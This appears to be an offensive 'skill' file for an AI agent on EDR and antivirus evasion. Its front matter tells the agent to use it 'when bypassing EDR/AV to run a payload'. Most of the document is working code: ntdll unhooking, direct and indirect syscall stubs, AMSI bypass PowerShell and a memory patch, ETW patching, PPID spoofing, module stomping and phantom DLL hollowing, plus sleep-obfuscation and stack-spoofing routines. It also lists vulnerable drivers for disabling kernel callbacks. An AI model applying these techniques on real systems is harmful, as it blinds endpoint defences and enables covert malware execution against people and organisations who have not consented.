--- name: edr-evasion description: Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion metadata: type: offensive phase: evasion tools: syscall-stubs, ntdll-unhooking, amsi-patch, etw-patch, process-hollowing kill_chain: phase: [delivery, install] step: [3, 5] attck_tactics: [TA0005] depends_on: [exploit-development, shellcode-dev] feeds_into: [red-team-ops, initial-access] inputs: [edr_product, payload] outputs: [evasive_payload, bypass_technique] --- # EDR Evasion ## When to Activate - Planning EDR bypass during red team engagements - Researching AV/EDR evasion techniques - Developing implants that must survive endpoint detection - Testing detection capabilities of security products ## Fundamentals ### AV vs EDR **Antivirus (preventive)**: - Static analysis: matching known signatures in files - Dynamic analysis: limited behavioral monitoring/sandboxing - Effective against known threats, weaker against advanced attacks **EDR (proactive & investigative)**: - Continuous endpoint monitoring - Behavioral analysis at kernel level - Anomaly detection and post-compromise visibility - Prioritizes incident response and investigation ### Windows Execution Flow ``` Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl) ↑ EDR hooks here (userland hooks in ntdll) ``` ## Hook Unhooking ### Userland Unhooking (ntdll.dll) EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code. ```c // Method 1: Map fresh ntdll from disk HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); // Get .text section of loaded ntdll HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll"); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew); PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders); // Overwrite hooked .text with clean copy DWORD oldProtect; VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress), textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress), (LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress), textSection->Misc.VirtualSize); VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress), textSection->Misc.VirtualSize, oldProtect, &oldProtect); ``` ```c // Method 2: Map from KnownDlls (avoids disk read) HANDLE hSection; UNICODE_STRING name; RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll"); OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name, 0, NULL, NULL }; NtOpenSection(&hSection, SECTION_MAP_READ, &oa); PVOID freshNtdll = NULL; SIZE_T viewSize = 0; NtMapViewOfSection(hSection, GetCurrentProcess(), &freshNtdll, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY); ``` ### Kernel-Level Unhooking Detection Some EDRs use kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) — these cannot be bypassed from userland alone. Requires: - BYOVD (Bring Your Own Vulnerable Driver) to unload/disable kernel callbacks - Direct kernel object manipulation (DKOM) ## Direct & Indirect Syscalls ### Direct Syscalls Skip ntdll entirely — call the syscall instruction directly: ```nasm ; NtAllocateVirtualMemory syscall (Windows 10 21H2) mov r10, rcx mov eax, 0x18 ; syscall number (varies by Windows version!) syscall ret ``` **Tools**: SysWhispers3, HellsGate, HalosGate, TartarusGate ### Indirect Syscalls JMP to the `syscall; ret` instruction inside ntdll (avoids "syscall from non-ntdll" detection): ```nasm ; Find syscall;ret gadget in ntdll mov r10, rcx mov eax, SSN ; System Service Number jmp [ntdll_syscall_ret_addr] ; JMP to syscall;ret in ntdll ``` **Why indirect**: Some EDRs check the return address of syscalls — if it's not within ntdll's address range, it's flagged. ### SSN Resolution ```c // HellsGate: read SSN from ntdll function prologue // Clean function: mov r10, rcx; mov eax, SSN; ... // Hooked function: jmp (first bytes replaced) // HalosGate: if hooked, look at neighbor functions (SSN ± 1) // TartarusGate: walk further neighbors if immediate ones also hooked ``` ## AMSI Bypass ```powershell # Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) # Alternative: patch in memory $a=[Ref].Assembly.GetType('System.Management.Automation.A]msiUtils') $b=$a.GetField('amsiContext','NonPublic,Static') [IntPtr]$ptr=$b.GetValue($null) [Int32[]]$buf=@(0) [System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1) ``` ```c // C implementation: patch AmsiScanBuffer HMODULE amsi = LoadLibraryA("amsi.dll"); LPVOID addr = GetProcAddress(amsi, "AmsiScanBuffer"); DWORD oldProtect; VirtualProtect(addr, 6, PAGE_EXECUTE_READWRITE, &oldProtect); // xor eax, eax; ret (return S_OK with AMSI_RESULT_CLEAN) memcpy(addr, "\x31\xC0\x05\x4E\xFE\xFF\xFF\xC3", 8); VirtualProtect(addr, 6, oldProtect, &oldProtect); ``` ## ETW Patching ```c // Patch EtwEventWrite to immediately return // Blinds .NET CLR logging, PowerShell ScriptBlock logging HMODULE ntdll = GetModuleHandleA("ntdll.dll"); LPVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite"); DWORD oldProtect; VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect); *(BYTE*)etwAddr = 0xC3; // ret VirtualProtect(etwAddr, 1, oldProtect, &oldProtect); ``` ## PPID Spoofing ```c // Make process appear to be spawned by explorer.exe SIZE_T size = 0; InitializeProcThreadAttributeList(NULL, 1, 0, &size); LPPROC_THREAD_ATTRIBUTE_LIST attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size); InitializeProcThreadAttributeList(attrList, 1, 0, &size); HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid); UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL); STARTUPINFOEXA si = { sizeof(si) }; si.lpAttributeList = attrList; PROCESS_INFORMATION pi; CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, NULL, NULL, &si.StartupInfo, &pi); ``` ## Process Injection Techniques | Technique | Stealth | Notes | |-----------|---------|-------| | CreateRemoteThread | Low | Heavily monitored | | NtQueueApcThread (Early Bird) | Medium | APC before thread starts | | NtSetContextThread | Medium | Hijack suspended thread | | Module Stomping | High | Overwrite legitimate DLL .text | | Phantom DLL Hollowing | High | Map section, overwrite | | ThreadlessInject | Very High | No new threads created | | Process Hollowing | Medium | Unmap + remap | | Transacted Hollowing | High | NTFS transactions | ### ThreadlessInject Pattern ``` 1. Find target process with suitable DLL loaded 2. Locate exported function that's rarely called 3. Overwrite function prologue with: push shellcode_addr; ret 4. Wait for natural execution of that function 5. No CreateRemoteThread, no APC — completely threadless ``` ## Memory Encryption (Sleep Masking) ```c // Encrypt beacon memory during sleep to avoid memory scanners // Cobalt Strike: set sleep_mask "true" in profile // Custom implementation: void SleepEncrypt(DWORD sleepTime) { // 1. Encrypt all RX sections with XOR/RC4 BYTE key[16]; GenerateRandomKey(key); EncryptMemory(beaconBase, beaconSize, key); // 2. Change memory protection to RW (no execute) VirtualProtect(beaconBase, beaconSize, PAGE_READWRITE, &old); // 3. Sleep SleepEx(sleepTime, FALSE); // 4. Restore RX and decrypt VirtualProtect(beaconBase, beaconSize, PAGE_EXECUTE_READ, &old); DecryptMemory(beaconBase, beaconSize, key); } ``` ## Behavioral Evasion ### Sandbox Detection ```c // Check indicators before detonation: // - Domain joined? (GetComputerNameEx) // - RAM > 4GB? (GlobalMemoryStatusEx) // - CPU cores > 2? (GetSystemInfo) // - Disk > 60GB? (GetDiskFreeSpaceEx) // - User interaction? (GetLastInputInfo — idle time) // - Known sandbox usernames? (John, sandbox, malware, virus) // - VM artifacts? (VMware tools, VBox Guest Additions) ``` ### Execution Guardrails (Keying) ```c // Only execute on intended target — prevents sandbox analysis // Key to: domain name, username, hostname, MAC address char computerName[256]; GetComputerNameA(computerName, &size); BYTE key[32]; SHA256(computerName, strlen(computerName), key); // Use key to decrypt payload — wrong machine = garbage output ``` ## Advanced: Sleep Obfuscation Techniques ### Ekko (Timer-Based) ```c // Use NtCreateTimerQueue + NtSetTimer to encrypt/decrypt beacon memory // Flow: Set timer → encrypt memory → change to RW → sleep → timer fires → // change to RX → decrypt memory → resume execution HANDLE hTimerQueue = NULL; CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD); // Timer callback chain: // 1. NtContinue → capture context // 2. VirtualProtect → RW // 3. SystemFunction032 (RC4 encrypt) → encrypt beacon // 4. WaitForSingleObject → actual sleep // 5. SystemFunction032 → decrypt beacon // 6. VirtualProtect → RX // 7. NtContinue → resume execution // Key: all operations happen in timer thread — main thread is suspended // EDR sees: legitimate timer callbacks, not suspicious API sequences ``` ### Zilean (APC-Based) ```c // Queue APCs to current thread for sleep obfuscation // Each APC performs one step of the encrypt-sleep-decrypt chain NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect, beaconBase, beaconSize, PAGE_READWRITE); NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032, &img, &key); // RC4 encrypt NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)WaitForSingleObject, hEvent, sleepTime, 0); NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032, &img, &key); // RC4 decrypt NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect, beaconBase, beaconSize, PAGE_EXECUTE_READ); // Trigger APC execution NtTestAlert(); ``` ### DeathSleep (Thread Pool) ```c // Abuse Windows thread pool for sleep obfuscation // Register work items that handle encrypt/sleep/decrypt // Thread pool threads are inherently trusted by EDRs TP_CALLBACK_ENVIRON callbackEnv; TpInitializeCallbackEnviron(&callbackEnv); // Create thread pool work items for each step CreateThreadpoolWork(EncryptCallback, &ctx, &callbackEnv); CreateThreadpoolWork(SleepCallback, &ctx, &callbackEnv); CreateThreadpoolWork(DecryptCallback, &ctx, &callbackEnv); // Submit and wait — execution flows through ntdll thread pool SubmitThreadpoolWork(encryptWork); WaitForThreadpoolWorkCallbacks(decryptWork, FALSE); ``` ### Gargoyle (ROP-Based Non-Executable Sleep) ```c // Mark all beacon memory as non-executable during sleep // Use ROP gadget to re-mark as executable and resume // Key: beacon exists only as RW data while sleeping — invisible to memory scanners // 1. Build ROP chain on stack: // VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old) // JMP beacon_entry // 2. Set timer with callback = stack pivot gadget (xchg rsp, rax; ret) // 3. VirtualProtect beacon to PAGE_READWRITE // 4. Encrypt beacon memory // 5. Sleep (WaitForSingleObject) // 6. Timer fires → stack pivot → ROP chain executes → beacon decrypted and RX ``` ## Advanced: Stack Spoofing ### SilentMoonwalk (Full Stack Spoofing) ```c // Problem: EDRs walk the call stack on API calls — suspicious return addresses flagged // Solution: Desynchronize real return addresses from what stack walking sees // Technique 1: Frame pointer spoofing // Overwrite RBP chain to point to legitimate-looking stack frames // Stack walker follows RBP → sees clean call chain // Technique 2: Return address overwrite with restore void SpoofStack(PVOID targetFunc, PVOID fakeRetAddr) { // Save real return address PVOID realRet = _ReturnAddress(); // Overwrite return address on stack with legitimate ntdll address *(PVOID*)(_AddressOfReturnAddress()) = fakeRetAddr; // Call target function — EDR sees clean return address targetFunc(); // Restore real return address *(PVOID*)(_AddressOfReturnAddress()) = realRet; } // Technique 3: Synthetic frames // Build entire fake stack frames before API calls // Each frame points to a real function in ntdll/kernel32 // Stack looks like: ntdll!RtlUserThreadStart → kernel32!BaseThreadInitThunk → ... ``` ### CallStackMasker ```c // Replace return addresses on stack before each API call // Use unwinding metadata (.pdata/.xdata) to build valid frames // Each fake frame must have: // 1. Valid return address (within a real module) // 2. Correct frame pointer alignment // 3. Matching unwind info for the module typedef struct _STACK_FRAME { PVOID ReturnAddress; PVOID FramePointer; PVOID ModuleBase; } STACK_FRAME; // Pre-compute clean frame sets from known-good modules // Swap in before syscalls, restore after ``` ## Advanced: Modern EDR Internals ### ETW Threat Intelligence Provider ```c // Microsoft-Windows-Threat-Intelligence ETW provider // Runs at KERNEL level — CANNOT be patched from userland // Monitors: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory, // NtMapViewOfSection, NtQueueApcThread, NtSetContextThread // What it reports to EDR kernel driver: // - RWX allocations // - W→X protection changes // - Cross-process memory writes // - APC injections // - Thread context modifications // Evasion approaches: // 1. Use functions not monitored (NtCreateSection + NtMapViewOfSection with separate views) // 2. BYOVD to unregister the ETW TI callback // 3. Use legitimate code paths (DLL loading, memory-mapped files) // 4. Avoid monitored API patterns entirely ``` ### Kernel Callbacks ```c // EDR kernel drivers register callbacks that fire on: // PsSetCreateProcessNotifyRoutineEx — process creation // PsSetCreateThreadNotifyRoutine — thread creation // PsSetLoadImageNotifyRoutine — DLL/image loading // ObRegisterCallbacks — handle operations (open process/thread) // CmRegisterCallback — registry operations // FltRegisterFilter — filesystem minifilter (file operations) // Callback removal via BYOVD: // 1. Load vulnerable signed driver (RTCore64.sys, dbutil_2_3.sys) // 2. Use driver's read/write primitives to: // a. Walk PspCreateProcessNotifyRoutine array // b. Find EDR's callback entry // c. Zero it out or replace with no-op // Known BYOVD targets (signed, vulnerable): // RTCore64.sys — MSI Afterburner (arbitrary R/W) // dbutil_2_3.sys — Dell BIOS utility (arbitrary R/W) // gdrv.sys — GIGABYTE driver (arbitrary R/W) // ene.sys — ENE Technology (arbitrary R/W) // WinRing0x64.sys — OpenHardwareMonitor (arbitrary R/W) ``` ### Minifilter Evasion ```c // EDR filesystem minifilters intercept all file I/O // They sit at specific altitudes in the filter stack // Evasion techniques: // 1. Direct NTFS parsing — bypass filter stack entirely // Open \\.\PhysicalDrive0, read MFT, parse NTFS structures // 2. Reparse point abuse — redirect file operations // 3. Symbolic link manipulation // 4. Transaction rollback (TxF) — write in transaction, EDR sees, rollback, // then write again without transaction flag // Altitude ranges: // 320000-329999: Anti-Virus filters // 360000-389999: Activity monitors (most EDRs here) // Check installed minifilters: fltMC ``` ## Advanced: Hardware Breakpoint Hooking ```c // Use debug registers (DR0-DR3) instead of inline hooks // Advantage: no code modification — invisible to integrity checks // Set hardware breakpoint on target function CONTEXT ctx; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext(hThread, &ctx); ctx.Dr0 = (DWORD64)targetFunction; // breakpoint address ctx.Dr7 = 0x1; // enable DR0, break on execution SetThreadContext(hThread, &ctx); // Register VEH to handle the breakpoint AddVectoredExceptionHandler(1, HookHandler); LONG CALLBACK HookHandler(PEXCEPTION_POINTERS pExceptionInfo) { if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { if (pExceptionInfo->ExceptionRecord->ExceptionAddress == targetFunction) { // Redirect execution or modify arguments pExceptionInfo->ContextRecord->Rip = (DWORD64)hookFunction; return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } // Advantage over inline hooks: // - No code modification (passes integrity checks) // - Works on read-only pages // - Limited to 4 breakpoints (DR0-DR3) ``` ## Advanced: Module Stomping & Phantom DLL Hollowing ### Module Stomping ```c // Overwrite .text section of a loaded legitimate DLL with shellcode // Process loads real DLL → overwrite its code → execute // EDR sees: code executing from legitimate module address range // 1. Load benign DLL (e.g., amsi.dll, xpsservices.dll) HMODULE hModule = LoadLibraryA("xpsservices.dll"); // 2. Find .text section PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew); PIMAGE_SECTION_HEADER text = IMAGE_FIRST_SECTION(nt); // 3. Make writable, overwrite with shellcode VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress), text->Misc.VirtualSize, PAGE_READWRITE, &oldProtect); memcpy((LPVOID)((BYTE*)hModule + text->VirtualAddress), shellcode, scSize); VirtualProtect((LPVOID)((BYTE*)hModule + text->VirtualAddress), text->Misc.VirtualSize, PAGE_EXECUTE_READ, &oldProtect); // 4. Execute — return address appears within legitimate DLL ``` ### Phantom DLL Hollowing ```c // Map a DLL as a section, modify it, execute — never touches disk // Avoids LoadLibrary hooks and file system minifilters // 1. Create section from DLL on disk (read-only mapping) HANDLE hFile = CreateFileA("C:\\Windows\\System32\\amsi.dll", ...); HANDLE hSection; NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile); // 2. Map writable view (local) PVOID localView = NULL; SIZE_T viewSize = 0; NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE); // 3. Overwrite .text with shellcode in local view memcpy((BYTE*)localView + textRVA, shellcode, scSize); // 4. Map executable view (separate mapping of same section) PVOID execView = NULL; NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ); // 5. Execute from execView — appears as amsi.dll in memory ``` ## Advanced: Process Injection Techniques (2024-2026) ### Pool Party (Thread Pool Injection) ```c // Abuse Windows Thread Pool for code execution in remote process // 7 variants targeting different TP structures: // 1. TP_WORK — worker item insertion // 2. TP_TIMER — timer callback hijack // 3. TP_WAIT — wait callback hijack // 4. TP_IO — I/O completion callback // 5. TP_ALPC — ALPC callback // 6. TP_JOB — job notification callback // 7. TP_DIRECT — direct insertion // Variant 1: Worker factory injection // Write shellcode to remote process // Hijack TP_WORK callback to point to shellcode // Submit work item → thread pool executes shellcode // No CreateRemoteThread, no APC — pure thread pool abuse ``` ### Mockingjay (RWX Section Injection) ```c // Find DLLs with existing RWX sections (no VirtualProtect needed) // Write shellcode directly into RWX section of target process // No memory allocation, no protection changes — minimal EDR signals // Known DLLs with RWX sections: // msys-2.0.dll (MSYS2/Git for Windows) // cygwin1.dll (Cygwin) // Steps: // 1. Load DLL with RWX section into target process // 2. Write shellcode into the RWX section // 3. Create thread at RWX address (or hijack existing) // Only 2 API calls needed vs 6+ for traditional injection ``` ### Dirty Vanity (Process Forking) ```c // Use NtCreateProcessEx with PROCESS_CREATE_FLAGS_FORK // Forks current process including all memory — snapshot-based injection // Child process is exact copy, including injected code // EDR sees: process creation (not injection), child inherits parent's reputation NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(), // parent = self PROCESS_CREATE_FLAGS_FORK, NULL, NULL, NULL, 0); // Child process starts with copy of all memory // Shellcode already in memory from parent — no cross-process write needed ``` ## Windows 11 24H2 Considerations - AMSI heap scanning is active — allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ - Smart App Control may block outbound connections from unsigned processes - Kernel-mode ETW (Threat Intelligence) cannot be patched from userland - Enhanced stack tracing in newer EDRs checks full call stack, not just return address - Kernel Data Protection (KDP) prevents modification of kernel data structures via BYOVD on VBS-enabled systems - User-mode CET shadow stacks detect ROP chains in userland - Process mitigation policies can block DLL injection, dynamic code, and child processes